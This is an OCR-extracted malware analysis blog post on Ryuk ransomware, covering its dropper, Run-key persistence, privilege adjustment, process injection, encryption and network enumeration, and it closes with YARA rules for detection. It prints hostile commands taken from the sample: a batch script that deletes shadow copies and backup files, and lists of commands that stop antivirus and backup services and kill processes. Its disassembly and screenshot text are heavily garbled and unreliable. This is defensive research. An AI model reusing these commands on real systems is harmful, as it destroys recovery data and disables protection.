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Ryuk ransomware is a very famous and deadly piece of malware that was first discovered in mid 2018 and has
been active since. There are multiple variants of Ryuk that keeps surfacing again on different platforms and

sandboxes. Ryuk focuses on targeting critical organizations like healthcare and finance.
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Ryuk name likely originates from Popular anime show “Death Note”

Overview

Ryuk ransomware uses multi-threaded fast encryption which also injects itself into many different processes and
create persistence to be automatically executed on every start-up. All these things combined makes RYUK

ransomware very dangerous.
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The initial dropper extracts Ryuk ransomware and executes it by giving path of itself as parameter. Ryuk
ransomware takes the parameter and first deletes the dropper then moves on to create persistence by adding itself
in Run Registry Keys. The next step is to inject itself in all available processes with the exception of only a few.
Finally, it uses a multi-threaded encryptor that uses the combination of AES and RSA encryption algorithms to

achieve a very fast encryption and leaves a ransom note in every directory.

Check out my Github Repo for Malware Analysis Series!!!

Initial Detonation:

The initial detonation shows that the dropper extracted stage2 malware which in turn add some changes in the

registries as shown by the process tree in screenshot below:
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[[] Only show processes still running at end of curment trace
[ Timelines cover displayed events only
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o OneDrive exe (40415 Mcrosolt OneDave  C:\Users'shaddy'. .. -Mcmm Comporat... DESKTOP-D0AH... "CAU
= ¥ WerFault axe (40516 Windows Problem... C:\Windows'\Sys... | Mecrosoft Comporat... DESKTOP-D02IH... CAWi
s One Drive exe: (48 Microsolft OneDrive  C\Lisers shaddy'.... [ Mecrosoft Coporat... DESKTOP-DOH... "CU
= I Procmon exe (1832) Process Mentor  Ci\Tocls\sysntem... [ Sysirtemals - ww... DESKTOP-DO2IH... "CAT

B Procmon54 exe (B16) Process Menitor  C:\Users\shaddy'... _Smemah -ww... DESKTOP-00ZIH.. "ChU
188 ProcessHacker exe (2856)  |Process Hacker  C:\Program Files’. . wjd2

DESKTOP-DO2IH
DESKTOP-DO2IH..
Microsoft Coporat... DESKTOP002IH...
Microsoft Coporat... DESKTOP-02IH...

... DESKTOP-DO2H...

SRR ¥ Baa 54h 3c 02062 Tae Tee '
= [ vV exe (B460) Cwsers\Publicly

= |l emd axe [2268) Windows Comma... C\Windows\Syst,
Conscle Window .. C\Windows\Syst...

Pegistry Console . C:\Windows'syst. .

Notepad CAWindows\syst.. DESKTOP-D02IH... "ChW
L
€ > £ >
1 Or | yxrNV.exe with original sample as Cmd.exe with parameter Reg.exe with parameter:
igi | parameter: of:
na REG ADD
I | "C:husers\PublickyxrNV.exe" "CAWindows\System32hc | "HKEY_CURRENT _USER\SO
sa | C\Users\shaddy\Desktop\23f28aa94f | md.exe" /C REG ADD FTWARE\Microsoft\wWindo

m | fb3c08a62735fe7fee5799880a8f322 | "HKEY_CURRENT _USER\SQ | ws\CurrentVersion\Run" fv
pl | celd55ec49a13a3f85312db2.exe FTWARE\Microsoft\wWindo | "syghos" /t REG_SZ /d

e ws\CurrentVersion\Run" /v | "C:\users\PublichyxrNV.exe
"sychos" /t REG S5Z /d " /f
"C:Ausers\PublichyxrNV.exe
n ff

After some time from the initial detonation, I received multiple UAC prompt to allow the cmd admin privileges
because I did not execute the initial dropper with admin privileges. From the process tree and UAC prompt

requests I found the path on which the stage2 RYUK ransomware and another malicious bat file were extracted by

malware.

There were some files created in the “Users\Public” folder which had hidden attributes.

desktop.ini 12/7/2019 1:12 AM Configuration sett... 1KB

._ RyukReadMetct 11/9/2023 3:02 AM Text Document 1 KB

L] sys 11/9/2023 3:01 AM File KB

[%] window.bat 11/9/2023 3:19 AM Windows Batch File 2KB

i yxrhNV.exe 11/9/2023 3:01 AM Application 171 KB
Stagel: Dropper

From the static analysis of dropper, I have found so many suspicious strings which were actually a part of its
second stage payload, therefore I will not list those strings here, instead I will write all the steps that stagel

dropper performs in its execution.
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¢ Checks Windows Version: and decides the path for extracting stage2 malware
¢ Selects a 5-letter random word: and appends .exe at its end
¢ Create File: using CreateFileW on selected path with the 5-letter name

¢ Check Architecture: to extract stage2 malware from data section
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¢ Execute Stage2: with ShellExecuteW:
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Stage2: RYUK Ransomware

The first thing I always look for in a malware are the strings in simple static analysis. If I find any interesting
strings then I base my advanced static and dynamic analysis based on those suspicious strings. Some of the

interesting strings that I found are provided below:

Static Strings:
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1 \Documents and Settings\Default User\finish
\Documents and Settings\Default User\sys

2 \users\Public\window. bat

3 \users\Public\finish
\users\Public\sys

4 | UNIQUE_ID_DO_NOT_REMOVE

5 SeDebugPrivilege

5] Csrss.exe
explorer.exe
lsaas.exe

7 RyukReadMe.txt

& \System32iemd.exe

e /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
/v "svchos" /tREG _SZ /d " /reg:64

Persistence:

The first thing that RYUK ransomware checks is weather a parameter has been passed to it while execution. The

parameter is actually the path of Ryuk dropper and it deletes the dropper to avoid suspicion.

oy eax, BC1G80h

call _alloca_probe

sulby r5p, rax

oy rax, csi_ security_cockie

xor rax, rsp

o [rsp+@C1lBaBhevar_38], rax

o ecx, 1388h 3 dutiilliseconds

call __ cs:sleep

call esiGetCommandLl inel
mov rox, rax i lpCmdLine
lea rdx, [rsp+BClBASh+phumirgs] ; phumirgs
call s :Commandl ineTodrgvid
WOV rdL, rax
test rax, rax
jz short loc_l4B8@lCEB
—

l?i—

rex, [rax+g] i lpFileName

cs:DeleteFilei

call

loc_140@@1CEs: 3 hdem
L=l rex, rdi
call cs:localFree
wor riid, ri3d
lea rax, [rsp+@C18ABh+VersienInformation]
lea ecx, [r1344]
nop dword ptr [rax]
I

Next step is to add persistence, Ryuk Ransomware adds persistence by abusing the famous Run Registry Keys
which executes the payload on each startup or boot. It appends the path of itself and pass the command to be

executed via cmd.

“C:\Windows\System32\cmd.exe” /C REG ADD
“HKEY_CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “svchos” /t
REG_SZ /d “C:\users\Public\yxrNV.exe” /f
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Above listed command is executed to achieve persistence. At every startup the stage2 malware would be executed

from the public folder.

[ s =

loc_7FF726007194:

movsxd rox, edi

add rox, rsi

mov [rsptrox®2+8a@h+Buffer], ri5w

call sub_7FFT260D7838

maw réd, ldeh i nsize

lea rdx, [rbp+7a@h+Filename] ; lpFilename
xor ecx, BCx ; hModule

mow rléd, eax

call c5:GetModuleFileNameld

lea rcx, atRegAddHkeyCur : "/C REG ADD \"HKEY CURRENT USER\\SOFTWAR™...
Mo réd, 438h

movups xmm®, xmmword ptr [rox]

lea rdx, [rbp+748h+Parameters]

movups wxmml, xmmword ptr [rcx+léh]

movups xmmword ptr [rdx], xmmé

movups xmm@, xmmword ptr [rcx+28h]

movups xmmword ptr [rdx+18h7. xmml

The saves the name of registry as “svchos” for the persistence in the system over Run keys as could be seen in the

screenshot below:
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Privilege Escalation:

Ryuk ransomware relies on social engineering techniques to be executed with admin privileges from the start, and
then it performs token manipulation to allow itself to achieve higher privileges specifically uses

“SeDebugPrivilege” to be able to inject into higher privileged processes as well.

It checks weather the executed process has “SeDebugPrivilege” or not by using “LookupPrivilegeValueW” and

then it tries to adjust the current token to have the required privileges as shown in the code snippet below:
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@ DA View-A g B Pseudocode-A 8 g Hex View-1 B &
1 _ int64 _ fastcall sub_140662828(HANDLE TokenHandle)
2 {
3 DWORD v2; // eax
4 DWORD LastError; [/ eax
5 struct _LUID Luid; // [rspt3eh] [rbp-28h] E
6 struct _TOKEN_PRIVILEGES NewState; // [rsp+38h] [rbp-28h] BYREF
7
® 3 I if ( LookupPrivilegevValuen(@it64, L"SeDebugPrivilege™, &Luid) ) I
9
® 12 HewState.Privileges[@].Luid = Luid;
® 11 NewState,PrivilegeCount = 1;
® 12 Hewitate privilespecf] attributes = 2-
® 13 if ( AdjustTokenPrivileges(TokenHandle, @, &NewState, @uldu, @isd4, Bicd) )
14 {
® 15 if ( GetLastError() == 1300 )
16
® 17 sub_1480811F8("The token does not have the specified privilege. Wn");
® 138 return 8is4d;
13 }
28 else
21
® 22 return 1i64;
23 H
24
25 else
26 {
® 27 LastError = GetLastError();
L sub_1480811F8("AdjustTokenPrivileges error: ¥u\n™, LastError);
® 29 return @i64;
30 }
31 1}
32 else
3 {
® 33 v2 = GetLastError();
® 35 sub_1466811F8( “LookupPrivilegeValue error: ¥uln®, v2);
® 36 return 8i64;
7
® 33}

Process Enumeration:

Ryuk Ransomware enumerates all running processes to checks their integrity level, their PID and other useful

information and saves everything in an array. It uses famous process enumeration APIs that are listed below:

¢ CreateToolhelp32Snapshot
e Process32FirstW
e Process32NextW
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Debug View Ea ED
Ltext:BORATFF726602180 mov rldd, ri13d
E Jtext:e0807FF726002186 call cs:CreateToolhelp32Snapshot I
S Text :BO0B/ T 72Ge0II8 mov T1Z, rax
Jtext:BE0ATFF72600215F cmp rax, @FFFFFFFFFFFFFFFFh
.text:0R0B7FF726802193 jz loc_7FF7268023D8
. —

lled =

Ltext:00807FF726802199 lea rdx, [rspt2Déh+pe] ; lppe

. text:PO0087FF7268D219E mov rcx, rax : hSnapshot

Ltext:BEERTFF7260021A1 call cs:Process32First
Ltext:00ea/FF7260021A7 test eax, eax
Ltext:@0007FF7260D02149 §z loc 7FF7260D2308

C

] e =

Ltext:@08a7FF7268D21AF lea rdx, [rspt2D8h+pe] ; lppe

. text:00007FF726002184 oy rcx, rl2 ;_hsnapshot
[: .text:00007FF726@D21B7 call  cs:Processszlexth ]

5 T T EAx, CAX

.text:00087FF7268D216F jz 10:_?FF7253023CF

.text:0Q007FF726@D21BF ; } // starts at 7FF7268D2130

»3ET) QDOOLE20 QQQOQTFEFT72€0D2130: sub TFFT72E0D2130 (Synchronized with RIP)

Process Injection:

Ryuk ransomware injects itself in all the processes that it enumerated with the exception of only a few that

doesn’t stop the system performance like:

» lsass.exe
o explorer.exe

e CsISs.exe
It uses basic process injection APIs like:

1. VirtualAllocEx
2. WriteProcessMemory
3. CreateRemoteThread

The process injection makes it extremely fast because there are multiple instances of Ryuk Ransomware running
in every process that it has injected. In the screenshot below, we can see that in “sihost”, the ransomware has been
injected by creating a READ, WRITE and EXECUTE (RWX) memory region that contains a binary identified by
the starting bytes of 4D 5A (MZ).
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I have dumped this shellcode to a bin file and started analyzing it separately. Since this shellcode has been dumped

from memory therefore it doesn’t execute simply by clicking the binary. All of its addresses are messed up.

To recover this exe, I have used pe_unmapper which useful in recovering executables dumped from the memory.

A tool by hasherzade.

I have dumped the shellcode and unmapped it from memory using pe_unmapper and loaded it again in IDA. It
was the same RYUK ransomware that I am analyzing. As could be seen in the PDB info or IDA. Ryuk

ransomware injects a copy of itself in all these processes.
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1 The injected code is the Ryuk Ransomware itself

2 It injects in all processes that it enumerated using CreateToolSnapshot32 except Isass.exe,
explorer.exe and csrss.exe

3 It keeps on injecting itself in all processes until the array is complete

4 During process enumeration, it also checks the authority level of each process and save it
with necessary score

5 After all the injection has been completed, then it moves on to Encryption. The encryptor is
an obfuscated function that is being called after process injection. The encryptor function
loads all API calls dynamically.

To continue with my analysis, I have to skip over this process injection phase to actually reach the encryptor. So, I

did the easiest thing, that is patched the binary and skipped the call to process injection function.
Get Shayan Ahmed Khan'’s stories in your inbox
Join Medium for free to get updates from this writer.

Remember me for faster sign in

I found the call to process injection function and its HEX in the binary. One cool thing about IDA is that it
provides live mapping of assembly to HEX code and on both windows side by side I can see which HEX is calling

the function of process injection and I can simply patch those bytes to no operation bytes.
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In above example, we can see E8 20 06 00 00 are the bytes responsible for calling Process Injection sub-routine.
I can change these bytes to 90 90 90 90 90 90 which are NOP instructions. Whenever, the Ryuk ransomware

enumerated process and tries to inject itself, it would now simply skip the process injection step and move on to

further activities,

like encryption.
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Encryption:

The encryption routine starts with importing all the required APIs at run-time because encryptor is highly

obfuscated. They are not used or imported directly in the malware. Instead of static analysis, the dynamic analysis

reveals all the APIs used by malware easily. As shown in the screenshot below:
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Finding these APIs by debugging one by one is very tedious. So, I just executed the patched malware (without
injection code) in the tiny_tracer tool by hasherzade. It automatically detects and logs all the APIs being used in

the malware as shown in the screenshot below:

E stage?_injector_defanged.exetag E3 ]
1416 63549 kernel32.FecFProchddreas
1417 GetProcRddzess:

1418 Arg[0] = prr Ox0Q000TLL£Lfc45£0000 —>) {HZ\x90'\x00\x03\x00Nx00 200}
1415 Arg[l] = ptr OxX0000TELTefBlflb8 =->| "GetLastError"™
1420

1421 E36f: kernel3z GerProchddress
1422 GetProchddress:

1423 Arg[0] = ptr OxO000TL£fc4S£0000 —>) {MZ\x90\x00\x03\x00\x004\x00}
1424 Arg[l] = prtr O0x0000T£f7ef828102 =>]| "VircualFres®
1425

1426 638a;kernel32. GecProclhddress
1427 GectProchddress:

1428 Azg[0] = prr Ox00007L£££c3cE0000 ->] {HMZ\x90\x00\x03\x00\x00\x00}
1429 Arg[l] = prtr Ox0000TL£f7ef828a94 ->| "CryprtExporcKey™
1430

1431 63aS;kernel32.GetProcAddress
1432 GetProchddress:

1433 Arg[0] = ptr Ox0Q000TE££c45£0000 —>) {MZ\x90\x00\x03\x00\x00\x00}
1434 Arg[l] = prr Ox00007L£f7ef8285b2 ->| "DeleteFileW"
1435

1436 63b9;:kernel32 . .GetProcAddress
1437 GecProchddress:

1438 Arg[0] = ptr Ox0000TE££c45£0000 =>) (MZAXxS0\x00\x03\x00Nx00\x00}
1435 Arg[l] = ptr OxQ000T7L£fT7ef8288al ->| "GetDrivelypeW"
1440

1441 63d4:kernel32.GetFrochRddress
1442 GetProcRddress:

1443 Arg[0] = prr Ox00007L£L£fc45£0000 =>) {(MEZ\x290\x00\x03\ 200200 \x00}
1444 Argll] = ptr Ox0000TLL7efB828454 ->| "GetCommandLineW"
1445

1446 €388 kernel32.GetProchddress
1447 GetProcRddress:

1448 Arg[0] = ptr Ox00Q00TLLffc4SE0000 - {HZAx90\x00\RO3\ x00\x00\x00}
1449 Arg[l] = ptr 0x00007ffT7af82883c ->| "GatStarcupInfoW”
1450

1451 E3fc:kernel32 . GecProcliddress
1452 GetProchddress:

1453 Axg[0] = prr Ox00007L£££c45£0000 ->] {M2\x90\x00\x03\x00\x00 \x00}
1454 Arg[l] = prr Ox00007L£LfT7ef828166 ->] "FindMexcFileW"”
1455
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Most of the interesting APIs that are being used by malware and imported at run-time are provided in below:

e CryptExportKey

e DeleteFileW

¢ GetDriveTypeW

e GetCommandLineW
o GetStartupInfow

e FindNextFileW

e VirtualAlloc

¢ GetUserNameA

e ExitProcess

e CreateProcessA

¢ GetlpNetTable

e ReadFile

e RegQueryValueExA
e RegSetValueExW

o CopyFileA

e SetFileAttributesW
e WinExec

¢ CryptDeriveKey

¢ CryptGenKey

e Sleep

e GetCurrentProcess
e ShellExecuteW

e GetFileSize

e GetModuleFileNameA
e CreateFileA

e GetFileSizeEx

e WriteFile

e GetLogicalDrives

¢ WNetEnumResourceW
e RegOpenKeyExW
¢ WNetCloseEnum

e GetWindowsDirectoryW
e GetTickCount

e FindFirstFileW

e CryptAcquireContextW
¢ MoveFileExW

e CryptDecrypt

¢ CryptlmportKey

¢ CreateProcessW

e CreateThread

e CryptDestroyKey
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¢ CoCreatelnstance
e CryptEncrypt
e RegDeleteValueW

The encryptor uses AES-256 for encrypting all files as could be seen by the parameter provided to the
CryptAcquireContextW API with the following arguments: AES_unique & Microsoft Enhanced RSA and AES
Cryptographic Provider.

lq staged_injector_defanged.exeteg B I|
4 2980 advapill.CoypticguireConcexti
CrypthoquirsaContexti:
Arg[o] = prr Ox00007LfTefB82cell => ([Lx004%x00%x004x00% 200200200 x00)
Azgll] = ptr 0xQ0007L£L£7e£B24550 —> L"AES unique "
1778 Arg[2] = prr O0x00007Lf7af824al0 => L"Microscft Enhanced RSA and AES Cryptographic Frovider®
' Azgl3) = Ox0O0000000000000L8 = 24
Arg[4] = Ox00O0EL4700000010 = 157535105450000

1782 25b4 ; advapi32.CrypthAcquireContanth

B3 CrypthAcquireContexci:

T84 Arg[0) = ptr Ox0000TELTefBZoels -> (\X00\X004\ 00 \X00 %00 %00 X004 x00}
1785 Arg[l) = prtr O0x00007ff7efB824530 -3 L"RES unique ™

! Argl2) = ptr Ox00007L£LTefB24al0 - L"Microsoft Enhanced RSA and AES Cryptographic Provider™
1787 Arg[3] = 0x00000000000000LE = 24

Ox00008L£4700000020 = 187535105450016

Azgl4]

RYUK Encryptor does the following steps:

e Acquire Context of AES

e Use the combination of FindFirstFileW and FindNextFileW to enumerate files

e Writes Ransom Notes in every directory that it enumerates

 Starts a new thread on each file for encryption

e Generates a new random key for every file and encrypts it with that key, then it adds HERMES and
the meta at the end of the file. The meta is actually the encrypted AES key with the attacker’s public

key embedded in the malware.
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qword_7FFE9657CE28(v23, @164, @xBeeisd); // VirtualFree
return 12i64;

}
if { !(unsigned int)qword_7FFE9657CE4B(vE, v23, v54, BvSE, Bi64) )// ReadFile

qword_7FFE96B0E5@8(v53);
qword_7FFEAES7CE28(vE);
qword_7FFEOESTCE28(v27, Bi64, BuEOB0isd);
return 13i64;

}

= lee0eea;
if { !(unsigned int)qword 7FFE9657BE38(v53, @i64, v26, 0i64, @is4, &vs5, @) }// CryptEncrypt |
{ qword_7FFE96808508( ¥

qword_7FFE9E57CEZR(v3);

qword_7FFEO657CE2B{v23, Bi64, GxEOBBIGE4);

return 14i64;

}
if ( !{unsigned int)qword_7FF69657BE38( » BiB4, v26, Bind, w23, BusS4, ) M ! CryptEncrypt
{
gword_7FFE96BD8588( 'H ff CryptDestroykey
gqword_7FFE9657CE20(vE); {ff CloseHandle
qword 7FFE9657CE2B(v23, @ics, exBeeeisd):// virtualFree
return 15i64;
L
if ( (unsigned int)qword_7FFE9657BDAB(v3, v25, 0i64, 0i64) == -1 )
qword_7FFE9657CE2Q(VvE); f# CloseHandle
qword_7FFE9680E588( I ff CryptDestroykey
qword_7FFES657CE28(vi3, @i6d, exBo0@isd);// VirtualFree
return 16i64;
}
=i
| if { !{unsigned int)gqword 7FFE96BD7FEB(vE, vi3, v52, &vse, 8i64) )// writeFile
1
gword_7FFBO657CE28(v23, @i64, OxEERAi6d);// VirtualFree
qward_7FFEO6STCE2R(v3); // CloseHandle
qword_7FFE263DE8508( I f§ Crypthestroyiey

return 17i64:
00003325 sub TFFE9E€553A30:210 (TFre5€553F29)

T . P Narss
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e The encryption routine starts by first checking if the input file had the keyword HERMES appended
at the end along with the meta. If the keyword is present then it avoids encrypting the file twice and

skips the encryption part as shown in the screenshot below:
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if { {unzigned int)qwerd_JFFEOESTDOFE(vE, v5E, 0464, @L64) == -1 )// SetFilePolinterEx
return 3164;
Srcfa] = &g
w18 = gquord TFFEOESTCEAB(v8, BuEd, 25468, Src, B464);// ResdFile
if ( Ivi8 )
return 4igd;
19 = viB;
vad = 85
vl = BvTag
do

{
[ iF ( vis &k *(vai - 1) == "W’ &k *vil we 'E' BR vZI[1] == 'R* BB v21[2] == "M’ B vZ1[3] == 'E’ B& v2i[4] == '5" ) |

1
quord_FFFESE5ICE2R(vE]) ; #f CloseHandle
return 5164;

}
bad M
+vdlj

]

while { w28 < eéxid4 )3

if { (unsigned int)qword_JFFESESTBDAR(.E, 0164, 0i6d, 0i64) I= -1 )// SetFilePointer
gote LABEL_35;

return G6i64;

RYUK ransomware uses the same encryptor as HERMES ransomware, as could be seen in the provided code
snippets. The delivery, persistence and continuous injection is different but encryptor function is of HERMES

ransomware.

Network Enumeration:

Ryuk ransomware tries to look for any network shares that are available and pass the path of those shares to its
encryptor function. It uses WNetOpenEnumW API for network share enumeration as could be seen in the logs

by tiny_tracer.

Eshgel_cryptu_defanged.ue.tag B
2081 2dcé: kerneli2 . GetDriveTypeW
2e42;iphlpapi.GetIpiecTable
ZeSB:kernel32.VircualAlloc
2egf;iphlpapi.GetIpNetTable
2efd:kernel32.VircualAlloc
2ea2:kerneli2.GlobalAlloc
S5%eT:mpr .. WHetOpenEnumi
59e7;mpr . WetOpenEnumi
59eT7:mpr.WHetOpenEnumi
557 :mpr . WiecOpenEnumi
55%e7;mpr . WNetOpenEnumW
S%eT:mpr . WHetOpenEnumi
5927 mpr . WNetOpenEnumi
5%eT :mpr . WHetOpenEnumi

+ ESINS +WLETURLEZES
3TeS:kerneliz2. . VircualFree
37da;advapil2.CryptDestroy¥ey
3867 advapliil.CryptAcquireContext
6b8d; karnel32.GetWindowaDirectory¥
€cefzkernel32.CreateFilew
CreateFileW:

Arg[0] = ptr Ox000000&6fba83c770 => L"C:\users\Public\window.bat"

Axgll] = Ox00000000c0000000 = 3221225472

Arg[2) = 0x0000000000000003 = 3

Axg[3] = 0

Arg[4) = O0x0000018000000002 = 1E4526T4491666

Arg[5] = O0x0000000000000080 = 128

oo oo
WD A WD A0 (D

=

===
3 D 4D D WD AD
L R T TR T = T

;=
=2

Eed40;kernel 32 .WriteFile
6ed9;kerneli2.CloseHandle

GeSb; kernel32.GetWindowsDirectoryW
6fdd;shell32.5hellExecute
3879;kernelld2.Freelibrazry

3886 kerneli2 . FreeLibrary
3893;kernelid2.Freelibrazy
38a0;kernel3z.Freelibrary
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Delete Backups:

Ryuk ransomware removes shadow copies and recovery options from the system by creating a bat file and running

it as admin. If the malware is executed without admin privileges, then it will prompt user for admin privileges.

[= [# stage?_crypter_defanged exe (2876) C:\Users'shaddy'.. [l
& gl omd exe (7368) . C:\Windows'Syst..
i Conhost exe (2820)

B reg.exe (3144)

[ vssadmin exe (4616)
8 vssadmin exe (1028) ChiWindows'ayst Microsoft Comarat
W vesadmin exe (3324) C\Windows ayst Microsoft Comarat
W vssadmin exs (343) Ci\Windows syst Microsoft Comporat
[ vssadmin exe (1404) C\Windows'ayst Microsoft Corporat
[ vesadmin exe (67EE) C:\Windows ayst Microsoft Comporat
[ vssadmin exe (552) C:\Windows syst Microsoft Comporat
' vssadmin exe (5656) <

Description:  Windows Command Processor

Company:  Microsoft Corporation

Path: CAWindows) yystemsS\ermnd. exe

Commeand: | "C:\Windows\System3Z\emd.exe” /C "Cllusers\Public\window.bat” |

User: DESKTOP-002IHON \shaddy

PID: 7376 Started:  11/21/2023 3:40:47 AM

The script deletes all shadow copies from the system and finally deletes itself as well. The extracted script for

deleting shadow copies is provided below:

Page 18 of 23



https://medium.com /@shaddy4 3 /from-infection-to-encryption-tracing-the-impact-of-ryuk-ransomware-64bd8656781c

vssadmin Delete Shadows /all /quiet

vssadmin resize shadowstorage /for=c: fon=c: /maxsize=401MB

vssadmin resize shadowstorage /for=c: fon=c: /maxsize=unbounded

vssadmin resize shadowstorage ffor=d: /on=d: /maxsize=401MB

vssadmin resize shadowstorage [for=d: fon=d: /maxsize—unbounded

yssadmin resize shadowstorage ffor=e: fon=e: /maxsize=401MB

vssadmin resize shadowstorage /for=e: fon=e: /maxsize=unbounded

vssadmin resize shadowstorage /for=f: fon=f: /maxsize=401MB

vssadmin resize shadowstorage [for=f: fon=f: /maxsize=unbounded

vssadmin resize shadowstorage /for=g: fon=g: /maxsize=401MB

vssadmin resize shadowstorage ffor=g: /on=g: /maxsize=unbounded

vssadmin resize shadowstorage /for=h: fon=h: /maxsize=401MB

vssadmin resize shadowstorage [for=h: fon=h: /maxsize=unbounded

vssadmin Delete Shadows [all /quiet

del /s /f /g c\*.WHD c:\*.bac c:\*.bak c:\*.whcat c\*.bkf c:\Backup®.* c:\backup®.* c:\*.set
c\*.owin o\ *.dsk

del /s /f /g d:\*.VHD d:\*.bac d:\* .bak d:\*.wbcat d:\*.bkf d:\Backup®.* d:\backup®.* d:\*.set
d:\*=win d:\*.dsk

del /s /f /q e\*.VHD e\*.bac e:\* bak e\ *.wbcat e:\* bkf e:\Backup*.* e:\backup®.* e:\*.cet
e\*.win e\*.dsk

del /s /f /g f:\*.WVHD f:\* bac f:\*.bak f:\ *.whcat f:\*.bkf f:\Backup™.* f:\backup®.* f:\*.set

A *win £\ *.dsk

del /s /f /g g\*.VHD g:\*.bac g:\*.bak g:\*.whcat g:\*.bkf g:\Backup®.* g:\backup*.* g:\*.set
g\ owin g\ *.dsk

del /s /f /g h:\*.VHD h:\*.bac h:\* .bak h:\*.wbcat h:\*.bkf h:\Backup®.* h:'\backup®.* h:\*.set
b\ win b\ *.dsk

del %0

Service Stop:

Another interesting thing that I found in RYUK ransomware is that it had many embedded strings that highlights
that it stops certain services and kills many processes. The exact behavior has not been detected in the sample that
I analyzed but this is also one of the TTP to look out for. The list of services and processes that it kills are

provided below:
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stop "Acronis V55 Provider" Jy net
stop "Enterprise Client Service” /y stop
stop "Sophos Agent” fy

stop "Sophos AutoUpdate Service" /y

stop "Sophos Clean Service" /y

stop "Sophos Device Control Service" fy

stop "Sophos File Scanner Service" [y

stop "Sophos Health Service" fy

stop "Sophos MCS Agent” /[y

stop "Sophos MCS Client" /y

stop "Sophos Message Router” Jy

stop "Sophos Safestore Service" /[y

stop "Sophos System Protection Service” fy
stop "Sophos Web Control Service" /y

stop "SQLsafe Backup Service" Jy

stop "SQLsafe Filter Service” [y

stop "Symantec System Recovery" [y

stop "Veeam Backup Catalog Data Service" [y
stop AcronisAgent [y

stop AcrSch25vc fy

stop Antivirus fy

stop ARSM /Jy

stop BackupExecAgentAccelerator /y

stop BackupExecAgentBrowser fy

stop BackupExecDeviceMediaService [y

stop BackupExeclobEngine [y

stop BackupExecManagementService [y

stop BackupExecRPCService [y

stop BackupExecVSSProvider fy

stop bedbg /y
stop DCAgent /y
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2 /IM zoolz.exe /F taskkill
f/IM agntsvc.exe /F
/IM dbeng50.exe /F
SIM dbsnmp.exe /F
/IM encsvec.exe /F
SIM excel.exe /F
/IM firefoxconfig.exe /F
JIM infopath.exe /F
/M isglplussvc.exe /F
JIM msaccess.exe /F
/1M msftesqgl.exe /F
/IM mspub.exe /F
/1M mydesktopqos.exe /F
/IM mydesktopservice.exe /F
/IM mysqgld.exe /F
/1M mysgld-nt.exe /F
/IM mysgld-opt.exe /F
/IM ocautoupds.exe /F
SIM ocomm.exe /F
/IM ocssd.exe /F
/1M onenote.exe /F
/IM oracle.exe /F
SIM outlook.exe /F
/IM powerpnt.exe /F
/1M sgbcoreservice.exe /F
/1M sglagent.exe /F
/1M sglbrowser.exe /F
/1M sglservr.exe /F
/M sglwriter.exe /F
[/IM steam.exe /F
/IM synctime.exe /F
/1M thirdconfig.exe /F
[/IM thebat.exe /F
/1M thebat6d.exe /F

These are only a few of services and processes listed here above.

YARA Rule:

rule Ryuk_Ransomware_Dropper {
meta:

description = "Ryuk Ransomware dropper hunting rule"
author = "Shayan Ahmed Khan - shaddy43"

date = "22-11-2023"

rule_version = "v1"
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malware_type = "ransomware"

malware_family =

actor_group =

reference =
hash = "23F8AA94FFB3C08A62735FE7FEE5799880A8F322CE1D55EC49A13A3F85312DB2"

strings:

$s1 = "\\Documents and Settings\\Default User" wide

$s2 = "\\users\\Public\\" wide

$s3 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects From Ryuk\\ConsoleApplication
$s4 = "vssadmin Delete Shadows /all /quiet" ascii

$s5 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii

$s6 = "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\back
$s7 = "stop Antivirus /y" fullword ascii

$s8 = "/IM excel.exe /F" fullword ascii

condition:
(uint16(0) == 0x5a4d and
filesize < 400KB and
( 2 of ($s*) and
4 of them ) ) or
( all of them )

rule Ryuk_Ransomware {

meta:
description = "Ryuk Ransomware hunting rule"
author = "Shayan Ahmed Khan - shaddy43"
date = "22-11-2023"
rule_version = "v1"
malware_type = "ransomware"

malware_family =

actor_group =

reference =
hash = "8BOA5FB13309623C3518473551CB1F55D38D8450129D4A3C16B476F7B2867D7D"

strings:
$s1 = "C:\\Users\\Admin\\Documents\\Visual Studio 2015\\Projects From Ryuk\\ConsoleApplicati
$s2 = "AdjustTokenPrivileges" fullword ascii
$s3 = "vssadmin Delete Shadows /all /quiet" ascii
$s4 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii
$s5 = "del /s /f /q c:\\*.VHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.* c:\\ba
$s6 = "stop Antivirus /y" fullword ascii
$s7 = "/IM excel.exe /F" fullword ascii
$s8 = "System32\\cmd.exe" wide
$s9 = "/C REG ADD \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\"" 1
$s10 = "SeDebugPrivilege" fullword wide
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$s11 = "\\Documents and Settings\\Default User\\finish" wide
$s12 = "\\users\\Public\\finish" wide

$s13 = "csrss.exe" fullword wide

$s14 = "explorer.exe" fullword wide

$s15 = "lsass.exe" fullword wide

$s16 = "\\Documents and Settings\\Default User\\sys" wide
$s17 = "\\users\\Public\\sys" wide

$s18 = "UNIQUE_ID_DO_NOT_REMOVE" wide

$s19 = "\\users\\Public\\window.bat" wide

$s20 = "HERMES" wide

condition:
( uint16(0) == 0@x5a4d and
filesize < 200KB and
(1 of ($s*) and
8 of them ) ) or
( all of them )

Source: https://medium.com/@shaddy43/from-infection-to-encryption-tracing-the-impact-of-ryuk-ransomware-64bd8656781c
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